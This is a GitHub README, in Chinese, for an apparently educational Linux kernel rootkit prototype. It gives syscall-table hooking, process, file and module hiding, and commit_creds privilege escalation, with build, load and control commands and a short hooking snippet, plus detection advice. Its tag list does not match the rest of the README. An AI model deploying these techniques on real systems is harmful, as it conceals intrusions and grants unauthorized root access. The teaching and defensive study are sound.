0xNullVector/ghostwire
GitHub: 0xNullVector/ghostwire
一个用于教学演示的 LKM 根套件原型,展示内核级隐藏与权限提升技术。
Stars: 0 | Forks: 0
# ghostwire
```
██████╗ ██╗ ██╗ ██████╗ ███████╗████████╗██╗ ██╗██╗██████╗ ███████╗
██╔════╝ ██║ ██║██╔═══██╗██╔════╝╚══██╔══╝██║ ██║██║██╔══██╗██╔════╝
██║ ███╗███████║██║ ██║███████╗ ██║ ██║ █╗ ██║██║██████╔╝█████╗
██║ ██║██╔══██║██║ ██║╚════██║ ██║ ██║███╗██║██║██╔══██╗██╔══╝
╚██████╔╝██║ ██║╚██████╔╝███████║ ██║ ╚███╔███╔╝██║██║ ██║███████╗
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═╝ ╚══╝╚══╝ ╚═╝╚═╝ ╚═╝╚══════╝
```
[](LICENSE)
[](https://kernel.org)
[]()
[]()
[]()
## 演示技术
| 原语 | 实现 |
|---|---|
| **系统调用表挂钩** | 通过 CR0 WP 位切换直接修补 `sys_call_table` |
| **进程隐藏** | `getdents64` 挂钩 + `kill` 信号 0 伪造 → 进程对 `ps` 和 `/proc` 不可见 |
| **文件/目录隐藏** | 按可配置的文件名前缀过滤 `getdents64` 项 |
| **模块隐藏** | 从内核模块双向链表中调用 `list_del` → 对 `lsmod` 不可见 |
| **权限提升** | `prepare_creds` / `commit_creds` → 窃取令牌,uid=0 |
| **控制接口** | `/proc/ghostwire` 伪文件 → 接受用户态明令命令 |
## 项目结构
```
ghostwire/
├── src/
│ └── ghostwire.c # LKM — kernel module source
├── include/
│ └── ghostwire.h # shared constants & definitions
├── cli/
│ └── ghostwire-ctl.py # Python CLI controller
├── scripts/
│ └── setup-lab.sh # QEMU lab VM bootstrap
├── docs/
│ └── internals.md # deep-dive: how each technique works
├── Makefile
└── README.md
```
## 先决条件
- Linux 内核 **5.x** 或 **6.x**,x86_64
- `linux-headers-$(uname -r)`
- `build-essential`
- `python3`(用于 CLI 控制器)
- **Root 权限**
- 隔离的虚拟机(参见 [实验室环境搭建](#lab-setup))
## 构建与加载
```
# 克隆
git clone https://github.com/0xNullVector/ghostwire
cd ghostwire
# 构建内核模块
make
# 加载
sudo insmod ghostwire.ko
# 验证(模块暴露 /proc/ghostwire)
cat /proc/ghostwire
```
## CLI 控制器
```
sudo python3 cli/ghostwire-ctl.py [command]
Commands:
status print current rootkit state
hide-pid hide a process by PID
show-pid unhide a process
set-prefix set file hiding prefix (default: .gw_)
hide-module conceal LKM from lsmod
show-module re-expose LKM
privesc escalate calling process to uid=0
shell interactive command REPL
demo live walkthrough of all features
```
### 示例会话
```
# 检查状态
sudo python3 cli/ghostwire-ctl.py status
# 隐藏运行中的进程
sudo python3 cli/ghostwire-ctl.py hide-pid 1337
# 验证 — 进程应从 ps 中消失
ps aux | grep 1337
# 隐藏所有以 '.gw_' 开头的文件
sudo python3 cli/ghostwire-ctl.py set-prefix .gw_
# 隐藏模块本身
sudo python3 cli/ghostwire-ctl.py hide-module
lsmod | grep ghostwire # → nothing
# 完整实时演示
sudo python3 cli/ghostwire-ctl.py demo
```
## 实验室环境搭建
**永远不要在主机上运行此程序。** 使用隔离的虚拟机:
```
bash scripts/setup-lab.sh
```
这会打印一条准备好的 QEMU 命令,将 ghostwire 源代码树作为 `virtfs` 共享挂载到虚拟机中。
或者使用以下任意一种:
- [QEMU/KVM](https://www.qemu.org/)(推荐)
- VMware Workstation
- VirtualBox(如果出现问题,请禁用 VT-x 嵌套)
建议的基础镜像:**Debian 12**,**Ubuntu 22.04 LTS**
## 工作原理 — 快速概述
### 系统调用表修补
内核的 `sys_call_table` 是一个指向每个系统调用的函数指针跳转表。ghostwire 通过 `kallsyms_lookup_name` 定位它,禁用 CR0 的写保护位,用我们的挂钩替换指针,然后重新启用 WP:
```
wp_disable();
syscall_table[__NR_getdents64] = (unsigned long)hooked_getdents64;
wp_enable();
```
### 进程隐藏
双重防护:`getdents64` 挂钩从 `/proc` 目录列表中剥离 PID 项,`kill` 挂钩对信号 0 检查返回 `ESRCH`,使隐藏进程在 procfs 和存在性探测中看似不存在。
### 模块隐藏
Linux 将已加载模块跟踪在一个双向链表中。调用 `list_del(&THIS_MODULE->list)` 会取消链接该项;`lsmod` 和 `/proc/modules` 遍历此列表时将永远看不到该模块。保存 `prev` 指针以便在取消隐藏时重新链接。
### 权限提升
`prepare_creds()` 复制当前任务的凭证结构体。副本的 uid/gid 字段被置零(root),然后 `commit_creds()` 原子替换任务的凭证 —— 经典的令牌窃取,不触碰任何利用原语。
详见 [`docs/internals.md`](docs/internals.md) 的逐行讲解。
## 检测与防御
ghostwire 是故意可被检测的 —— 理解防御是理解攻击的一部分:
| 检测向量 | 工具 |
|---|---|
| 系统调用表完整性检查 | `ksyms` 差异对比,自定义内核模块 |
| `/proc` 与 `ps` 不一致 | `unhide`,`pspy` |
| 模块列表与 `/sys/module/` 不符 | volatility3 `linux.lsmod` |
| eBPF 基础 EDR(Forta、Tetragon) | 可能捕获 `commit_creds` 调用 |
| 内核锁定模式 | 完全阻止未签名 LKM 加载 |
## 参考资料与延伸阅读
- [Linux 内核模块编程指南](https://sysprog21.github.io/lkmpg/)
- [Linux 设备驱动程序,第 3 版](https://lwn.net/Kernel/LDD3/)
- [Linux 内核(kernel.org 文档)](https://www.kernel.org/doc/html/latest/)
- [Heroin —— Phrack 根kit 文章(经典)](http://phrack.org/issues/61/13.html)
- [Linux 根kit —— xcellerator 的博客系列](https://xcellerator.github.io/tags/rootkit/)
- [volatility3 —— 内存取证](https://github.com/volatilityfoundation/volatility3)
## 许可证
GPL-2.0 —— 参见 [LICENSE](LICENSE)。
在实验室构建,而非野外 — 0xNullVector
标签:CR0 WP位, getdents64, GPL-3.0, Kernel 5.x, Kernel 6.x, Linux内核, LKM, PoC, Python, rootkit, sys_call_table, x86_64, 内核开发, 内核根kit, 内核模块, 子域名变形, 安全资源, 实验性, 客户端加密, 教育用途, 文件隐藏, 无后门, 暴力破解, 目录隐藏, 系统挂钩, 系统调用挂钩, 网络可见性, 进程隐藏, 逆向工具